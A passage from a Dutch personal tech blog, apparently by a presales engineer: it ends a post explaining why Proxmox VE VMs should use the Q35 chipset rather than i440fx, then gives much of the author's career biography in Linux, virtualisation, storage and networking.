commando's in het RAM van de gast en trekt één keer aan de bel grens host / hypervisor — elke oversteek kost een VM exit i440fx — IDE: elke registertoegang wordt onderschept IDE-driver in de gast poort-I/O, één toegang per keer 5 × VM exit om één commando uit te geven PIIX3 IDE 1 commando onderweg Geen NCQ — het volgende commando wacht tot het vorige klaar is IRQ 14/15, niveaugestuurde INTx — nog meer exits om te maskeren en te bevestigen Q35 — AHCI: gebouwd in RAM, één bel AHCI-driver in de gast commandolijst in gast-RAM — gratis 1 × VM exit AHCI HBA (ICH9) tot 32 in de wachtrij (NCQ) Commando's in de wachtrij ronden buiten de volgorde af — de schijf herordent om minder te zoeken MSI-X — geen gedeelde lijn om te herkennen, geen EOI-rondje IDE wordt register voor register geprogrammeerd via oude I/O-poorten, en elke toegang valt terug op de host. Met AHCI bouwt de gast het commando in zijn eigen geheugen en trekt hij één keer aan de bel. De overhead die i440fx meedraagt en Q35 niet Het gat met AHCI gaat niet alleen over de ene controller die nieuwer is dan de andere. Het is dat i440fx de gast bij bijna elke handeling de hypervisor laat betalen, en Q35 grotendeels niet.\nOnderschepte registertoegang. IDE wordt geprogrammeerd via oude x86-I/O-poorten. De gast schrijft het aantal sectoren, dan de LBA-registers, dan het commandoregister. Elke schrijfactie raakt een andere poort. Elk van die toegangen wordt onderschept en nagebootst door de host, en elke onderschepping is een VM exit die enkele microseconden kost. Eén IDE-commando uitgeven kost daarmee meerdere exits voordat er ook maar data beweegt.\nAHCI werkt precies andersom. De gast bouwt een commandotabel in zijn eigen RAM — geen onderscheppingen, want hij schrijft alleen naar geheugen — en doet dan één MMIO-schrijfactie naar een belregister om de controller te zeggen dat hij hem mag ophalen. Eén commando kost ruwweg één exit in plaats van vijf of zes.\nGeen commandoqueue. IDE geeft één commando uit en wacht tot het klaar is. AHCI ondersteunt NCQ, dus er kunnen tot 32 commando\u0026rsquo;s onderweg zijn, en de schijf mag ze buiten de volgorde afronden om minder te hoeven zoeken. De kosten die per commando overblijven worden dan ook over een queue uitgesmeerd in plaats van één voor één betaald.\nHet oude interruptpad. De PIIX3 IDE-controller meldt afronding op de vaste oude IRQ\u0026rsquo;s 14 en 15, bezorgd als niveaugestuurde INTx. Een niveaugestuurde interrupt moet bevestigd en weer vrijgegeven worden, en omdat INTx-lijnen gedeeld zijn, moet de gast ook nog uitzoeken welk apparaat hem opwierp. Elk van die stappen is weer een onderschepping. MSI-X, waarvoor je Q35 nodig hebt, is een gewone schrijfactie naar geheugen, zonder gedeelde lijn om te herkennen en zonder bevestigingsrondje. Op hardware met posted interrupts kan het de gast bereiken zonder ook maar één exit.\nEen groter oppervlak aan oude apparaten. i440fx presenteert altijd zijn oude platformapparaten, inclusief de IDE-controller, of de VM ze gebruikt of niet. Ze bezetten PCI-slots, ze worden bij elke start geïnventariseerd en afgetast, en drivers in de gast kunnen ze pollen. Q35 presenteert een kleinere, modernere set. Minder voor de host om overeind te houden, minder voor de gast om langs te lopen.\nNiets hiervan komt naar boven in een VM op VirtIO, en daarom is het verschil makkelijk te missen. Het maakt uit tijdens de installatie, bij appliance-images zonder VirtIO-drivers, en bij elke gast die nog geëmuleerde SATA of IDE gebruikt voor zijn opstartschijf.\nMinder virtuele apparaten, een schonere topologie i440fx komt met oude virtuele hardware die Q35 laat vallen. Een nepgeluidskaart. Een oude IDE-controller. Geen van beide doet iets nuttigs, maar ze verbranden allebei virtuele PCI-slots en kunnen software in de gast in de war brengen die ze probeert te gebruiken.\nQ35 presenteert een schonere set virtuele hardware, die dichter aansluit bij wat een moderne fysieke server zou laten zien.\nQ35 gooit de oude platformapparaten weg die i440fx in virtuele PCI-slots houdt i440fx oude apparaten bezetten de slots Oude IDE-controller Diskettecontroller (FDC) PIIX3-legacyfuncties Andere oude platformapparaten vrij vrij vervangen door AHCI weggegooid door Q35 Q35 minder apparaten, slots over ICH9 AHCI (SATA) PCIe root ports vrij voor een doorgegeven NVMe vrij voor een NIC vrij voor een GPU vrij De oude IDE-controller wordt vervangen in plaats van weggehaald — al het andere gaat de prullenbak in, wat slots vrijlaat voor de apparaten die je echt wilt doorgeven. De richting waarin het gaat RHEL 10 heeft i440fx afgeschreven Red Hat heeft het machinetype i440fx in RHEL 10 formeel afgeschreven. Dat geeft de richting aan voor het bredere KVM-ecosysteem. Als Red Hat iets afschrijft, betekent het dat ze zijn gestopt het als eersteklas pad te testen en fouten die eraan hangen niet zullen verhelpen.\nHet QEMU-project zelf praat al jaren over het afschrijven van i440fx. De gedachte is dat twee chipsetpaden onderhouden een last is. Q35 is degene die op moderne hardware past.\nProxmox is niet gevolgd Proxmox VE maakt nieuwe VM\u0026rsquo;s nog steeds als i440fx aan. Het machinetype in de aanmaakwizard staat op “Default (i440fx)”, en dat blijft zo tenzij je het verandert. Q35 zit één uitklaplijstje verderop, maar het is een keuze die je bewust moet maken, bij elke VM die je bouwt.\nEn dat is precies waarom dit bericht bestaat. De standaard is de chipset uit 1996, en niets in de wizard vertelt je dat de keuze uitmaakt.\nEen bestaande VM omzetten Heb je een bestaande VM op i440fx, dan kun je in de hardware-instellingen of rechtstreeks in de config naar Q35:\nmachine: q35 Dit is in feite het verwisselen van het virtuele moederbord. Andere hardware bij de volgende start.\nLinux gaat daar doorgaans zonder problemen mee om. De kernel inventariseert de apparaten opnieuw en laadt de juiste drivers. Interfacenamen veranderen wel, omdat de virtuele NIC van een PCI-bus naar een PCIe-bus verhuist. Noemt je netwerkconfiguratie ze bij naam (bijvoorbeeld eth0, ens18), pas hem dan aan voor je herstart, anders raak je de netwerktoegang kwijt.\nWindows is minder vergevingsgezind. De wisseling van chipset betekent andere virtuele hardware-ID\u0026rsquo;s voor de opslagcontroller, de netwerkadapter en andere platformapparaten. Windows kan het opnieuw installeren van drivers nodig hebben. In sommige gevallen is een verse installatie het schoonste pad. Oudere Windows-versies zijn daarbij de gebruikelijke zondaar.\nFreeBSD en afgeleiden (OPNsense, pfSense) gaan doorgaans mee in de wissel, maar test het eerst.\nTest in alle gevallen op een VM buiten productie voordat je iets omzet dat ertoe doet.\nWanneer je i440fx nog nodig hebt Een handvol gevallen heeft i440fx nog nodig.\nOude gastbesturingssystemen van voor UEFI — Windows XP, Windows 2000 en dat soort jaargangen — starten onder Q35 misschien niet op. Die systemen verwachten de oude PCI-topologie en de SeaBIOS die i440fx levert.\nBepaalde appliance-images zijn uitsluitend tegen i440fx gebouwd en getest. Ondersteunt de leverancier alleen i440fx, dan gebruik je dat tot ze bijwerken.\nVoor al het andere — nieuwe Linux-VM\u0026rsquo;s, moderne Windows-versies, elke workload met passthrough — gebruik je Q35. Er is niets te winnen met uit gewoonte aan een chipset uit 1996 vasthouden.\nBronnen Proxmox VE Wiki — PCI(e) Passthrough — officiële Proxmox-documentatie, die Q35 als het aanbevolen machinetype voor passthrough noemt QEMU Q35 Chipset Specification (PDF) — het oorspronkelijke ontwerpdocument voor Q35 van QEMU Proxmox Forum — Q35 vs i440fx Discussion — discussie in de community over de praktische verschillen ","permalink":"https://blogs.damiendye.uk/nl/proxmox/q35-not-i440fx/","summary":"De twee virtuele chipsets van QEMU zijn niet uitwisselbaar. Q35 levert een echte PCIe-topologie, waarop passthrough, moderne Windows-versies en het bredere KVM-ecosysteem allemaal leunen.","title":"Gebruik altijd Q35, niet i440fx — waarom het uitmaakt op Proxmox VE"},{"content":"Ik ben Damien Dye.\nPresales engineer voor Europa en APAC bij croit GmbH, een oprichtend lid van de Ceph Foundation en officieel Proxmox Gold Partner.\nRuim twintig jaar daarvan was het betaalde deel: Microsoft-platformen, Linux, bedrijfsapplicaties, virtualisatie, netwerk, opslag en beveiliging. Het betaalde deel is niet het geheel. Ik bouw dingen en sloop ze sinds halverwege de jaren negentig, en ik draai Linux serieus sinds 1999, jaren voordat iemand het de moeite waard vond mij daarvoor te betalen, en die jaren tel ik mee, want je leert net zoveel van apparatuur die van jou is als van apparatuur die iemand anders verzekerd heeft.\nSouth Yorkshire, dus je krijgt het recht voor zijn raap. Als iets werkt, vertel ik je waarom. Als het niet werkt, vertel ik je dat ook, en liever voordat je het geld hebt uitgegeven dan erna.\nDe vroege jaren Ik haal computers uit elkaar sinds mijn achtste. Mijn eerste machine was een Atari STfm met 512K geheugen.\nMijn eerste pc kwam op mijn twaalfde, met Windows 3.11, en vandaar ging ik de hele reeks door: 95, 95b, 95c, 98, 98SE en toen Windows 2000.\nDat was geen software gebruiken. Dat was uitzoeken wat er tussen de ene versie en de volgende veranderde, wat er onderweg stukging, en hoe je iets aan de praat krijgt dat besloten heeft dat het liever niet wil.\nDE WEG DOOR WINDOWS — 3.11 \u0026#8594; 10 3.11 95 98 2000 XP XP64-bits Vista64-bits 764-bits 8.1 10 Mijn eerste internetverbinding was een 56k-inbelmodem bij Freeserve — een van de eerste gratis providers in het Verenigd Koninkrijk. Ik ging over op ADSL zodra het in 2001 beschikbaar kwam, via Demon Internet. Daarna naar VDSL in 2008, en uiteindelijk naar glasvezel bij Zen Internet in 2017 — daar kwam native IPv6 binnen. Daar begon het met netwerken, en dat is een heel eind van de 100GbE-fabrics die ik nu ontwerp. Maar de nieuwsgierigheid was dezelfde.\nHet lokale netwerk begon nog eerder, en ruwer. Mijn eerste LAN was 10BASE2 — dunne coaxkabel, BNC-connectoren en een 50-ohmsafsluiting aan elk uiteinde, alle machines op één gedeelde bus van 10 Mbit. Ik kreeg twee pc\u0026rsquo;s daarover aan de praat en hing er een hub met 5 poorten bij toen er meer machines kwamen. Die hub werd later een switch — een echte stap vooruit, want elke poort kreeg zijn eigen collisiedomein in plaats van dat alles om gedeelde coax vocht. Draadloos kwam daarna, zodra het betaalbaar werd: 802.11b op 11 Mbit, op Orinoco Gold PCMCIA-kaarten in de laptops. Coaxbus, gedeelde hub, geswitcht ethernet, wifi — elke stap daarvan heb ik met de hand doorgewerkt.\nIk heb ook volledig onbewaakte Windows XP-installaties gebouwd. Die gebruikten de oude DriverPacks voor het injecteren van stuurprogramma\u0026rsquo;s en eigen scripts voor automatische applicatie-installaties. Van kale hardware naar een volledig geconfigureerd systeem zonder het toetsenbord aan te raken. Dat was automatiseringsdenken jaren voordat ik ooit van Ansible hoorde — en het was op Windows, niet op Linux.\nLinux vinden Met Linux ben ik op mijn vijftiende begonnen, op SuSE 6. Ik ging meteen af op de distributies waarbij je moest begrijpen wat er eronder gebeurde.\nIn de kerstvakantie van 2001 bouwde ik een compleet systeem met het boek Linux From Scratch. Elk pakket met de hand gecompileerd. Elke afhankelijkheid begrepen. Elke configuratiekeuze bewust gemaakt.\nIn 2002 was ik overgestapt op Gentoo. Gentoo werkt op hetzelfde principe: je bouwt het hele systeem uit broncode, je begrijpt wat elke USE-vlag doet, en als er iets stukgaat weet je precies waar je moet kijken.\nLINUX — DE WEG DOOR DE DISTRIBUTIES SuSE6–7.2 Mandrake Gentoo Ubuntu RHEL Fedora Andere platformen verkennen Ik ben nooit bij één architectuur gebleven.\nVan 2001 tot 2007 had ik een DEC Alpha-systeem. De Alpha was de 64-bits RISC-processor van Digital Equipment Corporation, in 1992 uitgebracht — een echte 64-bits machine, ruim tien jaar voordat x86 in 2003 met AMD64 bijtrok. Hij draaide Tru64 UNIX, OpenVMS, Windows NT en Linux, en een tijdlang was hij ongeveer het snelste dat je op een bureau kon zetten. Via discussies in de gemeenschap kreeg ik er USB en FireWire op aan de praat. Ik heb er zelfs een PCMCIA-naar-ISA-adapter achterin gezet, zodat dezelfde PC Cards die ik in de laptops gebruikte — de Orinoco Gold daaronder — ook in de Alpha-desktop draaiden. Geen kleinigheid op een platform waar niets gegarandeerd werkte.\nIk heb BeOS geprobeerd. Het pakte multithreading en multimedia compleet anders aan dan al het andere in die tijd.\nOp de universiteit hebben een maat en ik afgedankte Sun SPARC-werkstations gered en er Gentoo op gebouwd. SPARC was de RISC-architectuur van Sun Microsystems, geïntroduceerd in 1987 — de motor achter de Sun-werkstations en -servers die in de jaren negentig een groot deel van de Unix-wereld droegen, meestal onder Solaris. Een uit broncode gebouwd Linux op die hardware aan de praat krijgen was het hele punt. Want waarom ook niet, als de apparatuur er staat en je wilt weten of het lukt.\nIk heb ook Linux gebouwd en gebruikt op ARM en ARM64, op Raspberry Pi\u0026rsquo;s en Odroids. En ik heb Windows op ARM64 gedraaid.\nDraai hetzelfde besturingssysteem op x86, Alpha, SPARC, ARM en ARM64 en de aannames die je op de een maakte volgen je niet naar de volgende — bytevolgorde, uitlijning, paginagroottes, driverondersteuning en eigenaardigheden van de toolchain verschuiven allemaal onder je. Dat telt nu meer dan ooit, met ARM64 naast x86 in het datacentrum, en het is het denken dat een Ceph- of Proxmox-omgeving met gemengde architecturen eerlijk houdt.\nIk experimenteerde ook vroeg met IPv6. Ik had toegang tot 6bone — het experimentele IPv6-testnetwerk. 6bone was een wereldwijd testbed dat vanaf 1996 liep om IPv6 te ontwikkelen en uit te rollen voordat het productie-internet er klaar voor was. Het droeg IPv6 grotendeels over IPv4-tunnels, gebruikte zijn eigen adresreeks 3ffe::/16 en werd op 6 juni 2006 bewust uitgezet toen native IPv6 volwassen genoeg was om op eigen benen te staan. Ik draaide zowel de IPv6-stack van Linux als die van Microsoft Research voor Windows XP. Ik heb het hele traject gehad. Begonnen met IPv6-in-IPv4-tunnels. Door naar 6to4 (RFC 3056) voor automatisch tunnelen. Daarna naar volledig native IPv6 toen ik naar een fatsoenlijke provider ging — Zen Internet. De meeste mensen raakten IPv6 pas aan toen hun werkgever ze ertoe dwong. Ik had tegen die tijd elk overgangsmechanisme al gehad, op Linux en op Windows, omdat ik wilde begrijpen waar netwerken heen ging. Daarom voelt IPv6 nu natuurlijk aan en niet als iets wat er achteraf aan geschroefd is. Inmiddels loopt negentig procent van mijn verkeer over native IPv6. Ik gebruik een browserextensie die IPvFoo heet en me laat zien wat elke verbinding gebruikt en of sites gemengde protocollen of alleen IPv4 leveren. Oude gewoonte — ik zie liever wat er echt gebeurt dan dat ik het aanneem.\nIPv6 — TWEE DECENNIA, EXPERIMENT TOT KRITISCH Van een teststack thuis naar productie op nationale schaal 6bone — het experimentele IPv6-testbed IPv6-stacks van Linux en Microsoft Research naast elkaar gedraaid IPv6-in-IPv4-tunnels IPv6 over het IPv4-internet, met de hand geconfigureerd 6to4 (RFC 3056) Automatisch tunnelen — geen broker om te onderhouden Native IPv6 Eind tot eind thuis over glasvezel · Zen Internet · 2017 Nominet — kritieke nationale infrastructuur IPv6 in productie voor het .uk-register · F5-loadbalancers over IPv4 en IPv6 Vandaag loopt ongeveer 90% van mijn verkeer over native IPv6. Leren door te doen Alles wat ik technisch weet heb ik geleerd door het te proberen. Dingen gebouwd, stukgemaakt, uitgezocht waarom ze stukgingen, opnieuw gebouwd.\nDe studie was Business Studies en Computer Network Engineering aan Sheffield Hallam, en die gaf me het ene dat zelfstudie niet geeft — hoe een bedrijf echt werkt, hoe een technische beslissing een commercieel resultaat wordt, en hoe je over een systeem nadenkt vanuit het probleem dat het oplost voor wie ervoor betaalt. Dat heeft elke functie sindsdien gevormd.\nDe technische vaardigheden kwamen echter van het doen, niet van het studeren. Productieproblemen komen niet met een literatuurlijst. Iets vanaf de grondbeginselen kunnen uitdenken is meer waard dan een certificaat aan de muur, en het verloopt niet.\nWaar open source vandaan komt Toen de leiding van Microsoft open source begin jaren 2000 “een kanker” noemde, zat ik al diep in Linux. Systemen vanaf nul gebouwd. Gentoo gedraaid. Bijgedragen in gemeenschappen.\nDat soort vijandigheid tegenover mensen die kennis delen en samen dingen bouwen schrikte me niet af. Het duwde me er verder in. Als het antwoord van een bedrijf op gezamenlijke ontwikkeling is om het een ziekte te noemen, zegt dat meer over het bedrijf dan over de software. Ik groef dieper in open source en maakte het mijn eerste keuze in plaats van die houding te steunen.\nDoor de jaren heen haalde het praktische argument het principiële in. Propriëtaire platformen werken goed genoeg tot de leverancier de licenties verandert, wordt overgenomen, of besluit dat jouw gebruik het niet waard is. Dan zit je vast. Je data, je werkwijzen en de kennis van je team hangen allemaal aan een platform dat je niet meer beheert. De overname van VMware door Broadcom is het recentste en zichtbaarste voorbeeld, maar lang niet het enige.\nHetzelfde denken geldt voor de cloud. Vraag wat je eigenlijk huurt en het antwoord is capaciteit die je had kunnen bezitten, op een meter die nooit stilstaat. De beloofde voordelen — wendbaarheid, elasticiteit, minder te beheren — komen zelden aan in de vorm die de pitch beschreef, en de kosten stapelen zich jaar na jaar op zoals bij eigen apparatuur niet gebeurt. Als zodanig heb ik elke keer dat iemand erom vroeg kunnen laten zien dat open source op goed ontworpen hardware meer waarde, meer controle en minder verrassingen oplevert. Geen modieus standpunt. Wel een waar ik cijfers onder kan leggen.\nEen loopbaan opbouwen Mijn loopbaan begon in 2005 bij een precisiegieterij in Worksop. IT-technicus, onderdeel van een klein team, ondersteuning voor zo\u0026rsquo;n vijftig gebruikers.\nDie eerste functie bestreek een flinke breedte. Onderhoud van het Manusoft-ERP-systeem en de documentarchivering. Linux- en Windows 2003-serverbeheer. Crystal Reports-ontwikkeling voor beslissingen in productie en onderhoud. Beheer van de telefooncentrale. CAD/CAM-systeemintegratie en beheer van computergestuurde robotproductie. Inkoop van hard- en software. Eindgebruikers opleiden en ondersteuning aan hun werkplek.\nIk schreef ook vanaf dag één automatisering. Ik heb de Active Directory van het bedrijf geüpgraded en VB-scripts geschreven die op basis van groepslidmaatschap automatisch schijven koppelden, printers toewezen en software uitrolden. Dat was 2006 — echte infrastructuurautomatisering in mijn eerste professionele functie.\nDat is productie-IT. Als de lijn stilvalt door iets waar jij voor zorgt, kom je er snel achter dat betrouwbaarheid geen voorkeur is, en de mensen naast de machine vertellen je dat zelf ook. Het was ook de eerste keer dat ik Linux en Windows in hetzelfde gebouw voor de kost draaide, en dat is sindsdien het patroon gebleven.\nVan daar ging ik naar technische ondersteuning in de frontlinie. Eerste en tweede lijn, op een eigen desk voor een grote multinationale klant. Windows-desktops, Active Directory, Exchange 2007, Cisco VPN, Cisco Call Manager, ITIL-gebaseerd ticketbeheer op Remedy. Die ITIL-discipline — wijzigingsbeheer, probleembeheer, gestructureerde processen — is me sindsdien in elke functie gevolgd. Ik sloeg ook vroeg een brug tussen de Linux- en Windows-wereld — Services for Unix geconfigureerd en Citrix-toegang tot Unix-NFS-shares opgelost.\nZelfs op die desk bouwde ik voorbij de functieomschrijving. Ik schreef een koppeling die gebruikersaccounts rechtstreeks vanuit de HR-gegevens in Agresso aanmaakte en uitschakelde — het Active Directory-account, de groepslidmaatschappen, de configuratie van Office Communicator, de Exchange-postbus en de aliassen. Dat is systeemintegratie vanuit een eerstelijnsstoel, en dat stond niet in de functietitel.\nEen van de klanten die ik op die desk ondersteunde nam me later aan bij het volgende bedrijf.\nDaarna een wereldwijd communicatiebedrijf, ICT en beveiliging. Daar begon de applicatieontwikkeling pas echt. In tweeënhalf jaar heb ik zes afzonderlijke interne systemen gebouwd of eraan bijgedragen. Een eigen webgebaseerd offertegereedschap. Orderverwerkingskoppelingen tussen Salesforce en Agresso. Een SharePoint-stamdatacatalogus gevoed vanuit Salesforce en Agresso. Een eigen webprojectmanagementsysteem met koppelingen naar MSPE en Agresso voor de financiële verwerking. En een migratie van een aangepaste Salesforce Service Cloud-applicatie naar ServiceNow met volledige ITIL-procesimplementatie. Ik schreef ook SQL-koppelarchitectuur voor bedrijfsapplicaties en optimaliseerde de MS SQL-prestaties. Ik beheerde IIS en Windows Server 2008 Terminal Services, en was eigenaar van het bedrijfsdatamodel. Directoryservices — Active Directory en LDAP — werden hier een kernvaardigheid die me door elke latere functie is gevolgd.\nIk heb ook een landelijk Windows 7-vervangingsprogramma geleid en de hele Britse gebruikersgroep in drie weken op nieuwe HP-apparatuur gezet, waarbij 95% aangaf helemaal geen verstoring van het werk te hebben ervaren. Drie weken is het soort getal dat er alleen uit komt als de voorbereiding goed gedaan is, en de voorbereiding is de onglamoureuze helft waar achteraf niemand naar vraagt.\nToen kwam het leidinggeven. Een halfgeleiderontwerphuis met een klein team ingenieurs verspreid over meerdere landen. Dat trok meerdere draden tegelijk samen. Ik ontwikkelde op het Force.com-platform — triggers, Visualforce-pagina\u0026rsquo;s, eigen controllers — om Financial Force-boekhouding en PSA-systemen wereldwijd te koppelen. Tegelijk bouwde ik twee aparte PXE-boot-HPC-clusters. Eén voor de Britse Europese engineering en één voor de Chinese. Beide met Red Hat en NFS-rootbestandssystemen, voor consistente, 100% herhaalbare schijfloze rekenfarms. Ik zette ZFS op Linux in met Dell PowerVault-apparatuur voor uniforme opslag. Ik verving oude geïsoleerde beveiligingsomgevingen door een Windows Server Active Directory met native Kerberos en LDAP voor eenmalige aanmelding over Linux en Windows. Ik stabiliseerde de internationale connectiviteit door een uniform netwerk te bouwen met OpenVPN-tunnels door lastige omstandigheden naar China.\nEen flink deel van die functie was ik de enige die dat allemaal dekte: de Linux-rekenfarms, de Windows-ondersteuning, de Salesforce-ontwikkeling en de gebruikersondersteuning over meerdere tijdzones, onder SoC-ontwerplasten op geavanceerde technologieknopen. Een van de ingenieurs die aan mij rapporteerden is later Salesforce-ontwikkelaar geworden, en dat reken ik als de betere uitkomst van die jaren.\nDaarna een echte verdieping in Linux. Derdelijnsondersteuning bij Pulsant, een cloud- en hostingaanbieder, over de volle breedte van de stack. RHEL, CentOS, Ubuntu. MySQL-clustering met Galera, MongoDB-sharding, HAProxy met SNI en SSL-terminatie, Apache, PostgreSQL, PHP-FPM-tuning voor snelle webwinkels, Postfix-mail, BIND en PowerDNS voor DNS-hosting, Varnish voor webcaching, Squid voor proxycaching. IPTables, IPset en Cisco ASA voor firewalling en DoS-bescherming. Linux-serveroptimalisatie voor netwerk en opslag. CPanel-probleemoplossing, ontwikkeling van SolarWinds-monitoringsjablonen en New Relic-beheer. Alles op VMware 5.5 met vCloud Director eronder.\nHet was ook niet alleen ondersteuning. Ik heb daar een Galera-databasereplicatieproduct ontworpen en het van concept via prototype naar een dienst gebracht waar klanten voor betaalden. Dat was geen laboratoriumoefening. Het is gebouwd en bewezen tegen echte belastingen van echte betalende klanten, en dat geeft een hostingaanbieder niet lichtvaardig uit handen.\nDerde lijn leert je wat het betekent om de laatste escalatielijn te zijn. Als het bij jou aankomt, gaat niemand achter je het nog oplossen.\nToen Nominet — het register achter elke .uk-domeinnaam. DNS op nationale schaal. De infrastructuur moet vierentwintig uur per dag keihard staan, elke dag, zonder uitval en met bereikbaarheidsdienst buiten kantooruren. VMware 5.5 en 6, HP 3par-opslag met fibre-channelzonering op Brocade, RHEL 6 en 7 beheerd met Puppet, F5-loadbalancers over IPv4 en IPv6, Postfix-mail, en een Zabbix-opzet die ik bouwde om de verouderende VMware Hyperic-monitoring te vervangen. Ik heb ook ServiceNow ingevoerd en aangepast, met workflows, applicatie-uitrol en Linux-nodedetectie voor configuratiebeheer en inventaris. Ik hielp processen ontwerpen en bouwen voor het uitbesteden van de servicedesk buiten kantooruren, om de bereikbaarheidsdienst te verlichten.\nBij Nominet werd ik uiteindelijk de eerste die men vroeg, of het nu Linux, Unix, ServiceNow of iets was dat niemand kon plaatsen, en ik maakte er een punt van om terug te komen met iets dat werkte in plaats van iets dat goed klonk. Dat is het soort plek waar je leert dat de saaie, gedisciplineerde aanpak van infrastructuur degene is die het contact met een dinsdagochtend overleeft.\nNa Nominet ging ik dwars door infrastructuur en hosting. VMware 6.7, Zerto voor uitwijk, Dell Compellent- en Nexsan-opslag met Brocade-fibre-channelzonering, Citrix Cloud met FSLogix-profielbeheer naast Azure. Ik voerde daar ook Zabbix-monitoring in en ontwierp de sjablonen en scripts vanaf nul.\nToen detailhandel. Leiding gegeven aan een klein team, het VMware 6.7-beheer teruggehaald bij een derde partij, Zabbix-monitoring uitgerold (opnieuw als vervanging van een mislukte poging), de OS-uitrol herbouwd rond PXE en Chocolatey, het netwerk vernieuwd met Fortinet-apparatuur, en de hardware-inkoop op orde gebracht.\nToen de functie die alles veranderde. Bij het UK Centre for Ecology \u0026amp; Hydrology leidde ik het science-computing-team — vier directe rapportages — en bouwde ik de infrastructuur vanaf de grond opnieuw op. Een private cloud van 7 Proxmox VE-nodes met hypergeconvergeerde Ceph-opslag op dubbele 100Gb-switching. Een HPC-cluster van 8 nodes op HDR InfiniBand met Slurm, met SR-IOV voor VM-toegang tot de fabric en EasyBuild voor softwarebouw. Migratie van GPFS naar volledig NVMe-Ceph-opslag. Ansible met Netbox als bron van waarheid voor alles — patchbeheer, beheersing van configuratiedrift, koppelingen naar Cloudflare, PowerDNS en Active Directory. OSPF-dynamische routering voor de cloudnetwerken. Lokale repositoryspiegels voor maximale uitrolsnelheid en consistentie. Heruitrol van de HPC-omgeving van CentOS 7 naar Rocky 9. Cloudflare voor DNS (inclusief DNSSEC), DDoS-bescherming en Zero Trust-toegang op afstand. Daarbij hoorde de migratie van 25 autoritatieve DNS-zones van zelf gehoste BIND 9 naar Cloudflare in twee werkdagen. Meerdere registers werden bijgewerkt, en het geheel werd geïntegreerd met Ansible en Let\u0026rsquo;s Encrypt.\nAlles op opensourcegereedschap, krap budget, bewust zo gebouwd dat we de licentieval van Broadcom en VMware voor bleven voordat die dichtklapte. Dat besliste de discussie. Opensource-infrastructuur op die schaal is niet alleen werkbaar — het is beter, en ik heb het cluster en de facturen om dat te zeggen.\nDe andere helft van die baan waren de vier mensen in het team. Wetenschappers kan het niet schelen hoe de opslag heet. Het gaat hun erom of de berekening vannacht doorloopt, en of degene aan wie ze het vragen het antwoord kan uitleggen zonder dat ze zich dom voelen.\nHoe het allemaal samenkomt De overstap naar presales bij croit was geen koerswijziging. Het was alles wat op één plek samenkwam.\nProductie-IT Betrouwbaarheid is geen keuze als de productie ervan afhangt Ondersteuning in de frontlinie Leren luisteren, uitleggen en geduldig blijven Applicatieontwikkeling Systemen bouwen die echte bedrijfsproblemen oplossen Wereldwijde IT-leiding De techniek dragen en de mensen toch laten groeien Diepe Linux-engineering De laatste escalatielijn — daarachter belt niemand meer Kritieke DNS bij Nominet Infrastructuur en discipline op nationale schaal Infrastructuur \u0026amp; hosting VMware, opslag en uitwijk op grote schaal Science computing (UKCEH) Herbouwd op Proxmox VE + Ceph + HPC, overal open source Presales bij croit Het systeem ontwerpen, het verdedigen, eerlijk blijven Productie-IT leerde me dat betrouwbaarheid ophoudt een voorkeur te zijn op het moment dat de productie ervan afhangt. Ondersteuning in de frontlinie leerde me eerst te luisteren. Applicatieontwikkeling leerde me systemen te bouwen die een bedrijfsprobleem oplossen in plaats van een interessant probleem. Een wereldwijd team leiden leerde me de technische last te dragen en de mensen om me heen toch te laten groeien, wat zwaarder is dan elke helft apart. Derdelijns-Linux leerde me hoe de laatste escalatielijn voelt. Twintig jaar Windows en Linux naast elkaar leerde me hoe platformen zich onder belasting werkelijk gedragen, tegenover wat het datablad zegt. VMware, dat ik vanaf 2008 in bijna elke functie draaide, leerde me hoe bedrijfsvirtualisatie er op schaal uitziet — en daarna wat er gebeurt als de commerciële grond verschuift onder een platform waar de hele omgeving op zit. Opslag en netwerk leerden me waar de moeilijke problemen wonen. Beveiliging loopt door alles heen, van firewalls en VPN\u0026rsquo;s vroeger tot DNSSEC, Zero Trust en hardening nu. Nominet leerde me discipline.\nZet dat allemaal bij elkaar en je krijgt presales. Je ontwerpt het systeem, dan verdedig je het ontwerp, en je blijft eerlijk over wat het niet zal doen, want iemand staat op het punt op jouw woord echt geld uit te geven.\nBij croit betekent dat werken met organisaties in Europa en Azië-Pacific die hun virtualisatie en opslag heroverwegen. De gesprekken gaan meestal over weggaan bij VMware naar Proxmox VE met Ceph. De belastingen die meekomen zijn overwegend Windows, dus de platformoverstijgende ervaring is geen oud nieuws. Het is wat ik nu doe.\nWaar het mij om gaat, is de eerlijkheid. Wat ik iemand voorleg moet het ding zijn dat in zijn gebouw werkt, op zijn schaal, met de beperkingen die hij echt heeft, en als zijn bestaande apparatuur het werk al grotendeels doet, dan is dat wat ik hem zal vertellen.\nDE STACK DIE IK VANDAAG ONTWERP \u0026amp; BOUW Automatisering \u0026amp; bron van waarheid Ansible · NetBox · Let's Encrypt Rekenkracht Proxmox VE — KVM-machines + LXC-containers Opslag Ceph — RBD-blok · CephFS · volledig NVMe Netwerk 25/100GbE-fabric · BGP / OSPF · native IPv6 Fundament Open source, op hardware die van jou is Opslag Opslag bleek keer op keer de plek waar de moeilijkste problemen zaten. Dat was geen bewust loopbaanplan — het liep gewoon zo.\nDe fascinatie begon vroeg. In de jaren negentig droomde ik van Iomega Zip- en Jaz-schijven — 100 MB, en toen een hele gigabyte, op één verwisselbare cassette, terwijl de diskettes die iedereen uitwisselde 1,44 MB hielden. Het was dure apparatuur, dus bleven ze jarenlang een wens in plaats van bezit. Tegen de tijd dat ik eindelijk een USB-Zipstation had, waren de USB-sticks net verschenen — en het formaat dat ik zo lang had gewild was al op weg naar buiten. Een vroege les in hoe snel opslag beweegt, en hoe snel het must-have van vandaag de laderommel van morgen wordt.\nOptisch hoorde bij hetzelfde verhaal. In 1998 had ik een HP CD-RW-station met viervoudige snelheid, en het was een pracht. Het kon schijven lezen en herschrijven die latere, snellere stations gewoon weigerden — zo verdiende het zijn plek als reddingsstation lang nadat het met pensioen had gemoeten.\nHet begon bij de aansluiting. Ik heb met opslaghardware over de hele linie gewerkt. IDE, meerdere SCSI-generaties, SATA, SAS en NVMe aan de direct aangesloten kant. ATA over Ethernet en iSCSI aan de netwerkkant. HP 3par, Dell Compellent, Dell PowerVault, Nexsan — elk met eigen eigenaardigheden en storingsbeelden.\nVandaar ging het de stack op. Geclusterde LVM leerde me hoe gedeelde opslag zich gedraagt als meerdere nodes tegelijk toegang nodig hebben — en wat er gebeurt als locking en fencing niet kloppen. ZFS leerde me wat er gebeurt als je data-integriteit op bestandssysteemniveau echt doordenkt. GPFS liet me parallelle bestandssystemen op schaal zien. Ceph leerde me hoe gedistribueerde systemen zich bij storingen anders 